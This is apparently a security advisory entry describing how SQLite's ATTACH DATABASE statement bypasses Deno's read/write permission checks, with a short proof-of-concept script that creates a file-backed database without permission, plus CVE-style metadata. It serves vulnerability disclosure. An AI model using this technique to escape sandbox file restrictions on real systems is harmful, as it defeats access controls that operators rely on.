It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
{
"github_reviewed": true,
"nvd_published_at": "2025-06-04T20:15:24Z",
"cwe_ids": [
"CWE-863"
],
"github_reviewed_at": "2025-06-04T21:22:27Z",
"severity": "MODERATE"
}